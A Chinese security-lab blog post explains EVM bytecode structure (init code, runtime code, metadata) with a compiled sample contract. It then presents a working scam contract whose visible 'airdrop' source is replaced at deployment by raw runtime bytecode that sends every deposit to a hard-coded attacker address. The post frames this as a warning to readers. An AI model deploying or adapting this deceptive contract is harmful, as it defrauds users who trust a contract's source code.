分析bytecode


简介




Bytecode 是 Solidity 代码被翻译以后的信息,它包括了二进制的计算机指令。Bytecode 通常是将数字,常量和其他信息以一种编码方式写在一起。每一个指令都是一个被称为opcodehttps://github.com/crytic/evm-opcodes的操作,这些 opcode 的大小都是 1 字节。这也是为什么我们叫它“bytecode”,即长度为 one-byte 的 opcode。



分析 bytecode




首先编写一个很简单的合约,查看其bytecode

// SPDX-License-Identifier: MITpragma solidity ^0.8.16;
contract Test {
address owner; uint256 number;
constructor() { owner = msg.sender; }
function setNumber(uint256 newNum) external { number = newNum; }
function getNumber() external view returns (uint256) { return number; }}

bytecode:

608060405234801561000f575f80fd5b50335f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506101458061005c5f395ff3fe608060405234801561000f575f80fd5b5060043610610034575f3560e01c80633fb5c1cb14610038578063f2c9ecd814610054575b5f80fd5b610052600480360381019061004d91906100bc565b610072565b005b61005c61007c565b60405161006991906100f6565b60405180910390f35b8060018190555050565b5f600154905090565b5f80fd5b5f819050919050565b61009b81610089565b81146100a5575f80fd5b50565b5f813590506100b681610092565b92915050565b5f602082840312156100d1576100d0610085565b5b5f6100de848285016100a8565b91505092915050565b6100f081610089565b82525050565b5f6020820190506101095f8301846100e7565b9291505056fea2646970667358221220c211dec9301f91e7333e5f3863d09e3791c80534a3a7453d95d698f3b32e1b3364736f6c63430008150033

仔细观察这段bytecode,你会发现里面有两个无效操作码:0xfe,在 evm-opcode中可以验证。而这两个操作码则将bytecode划分为三个部分,即init code,runtime code,metadata

init code负责准备合约并返回runtime code,只执行一次且不上链。(因为智能合约的构造函数仅执行一次,由于其后续不再执行,无需将构造函数存储在链上,因此,将构造函数的执行写在init code中)

runtime code调用合约时,EVM所执行的代码,需上链。

metadata默认情况下,编译器将元数据文件的 IPFS 哈希附加到每个合约的运行时字节码(不一定是创建字节码),这部分不会影响合约的部署。详解请移步,metadata:https://www.rareskills.io/post/solidity-metadata



示例



在智能合约中,合约的行为逻辑是由runtimeCode控制的,可以简单实现一个恶意合约,用来骗钱。

contract Cheat {
constructor() { // address cheat = 0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2; bytes memory runtimeCode = hex"60006000600060004773Ab8483F64d9C6d1EcF9b849Ae677dD3315835cb2605AF1"; assembly { return(add(runtimeCode, 0x20), mload(runtimeCode)) } }
// 空投 -- 假的 function airDrop() external payable { require(msg.value >= 0.1 ether, "You only need pay 0.1 ether, than you can get 1 ether!!!!"); payable(msg.sender).call{value:1 ether}(""); }}


演示



  1. 首先cheat将合约部署好,并发布到网上

分析bytecode

  1. 假以时日,一个靓仔发现了这个airdrop这个空投,心里想着0.1ETH换1WETH血赚,然后调用该函数

分析bytecode

  1. 结果发现自己的账户并没有收到空投,cheat的账户反而增加了 0.1 ether

分析bytecode



总结



上述示例说明了,合约的逻辑由runtimcode控制,hacker可以通过控制合约的runtimecode来达到欺骗的目的,所以大家不要贪图小便宜,一定要加强防范意识



作者:于文杰

编辑:舒婷







原文始发于微信公众号(ChainSecLabs):分析bytecode

版权声明:admin 发表于 2023年10月22日 下午8:07。
转载请注明:分析bytecode | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...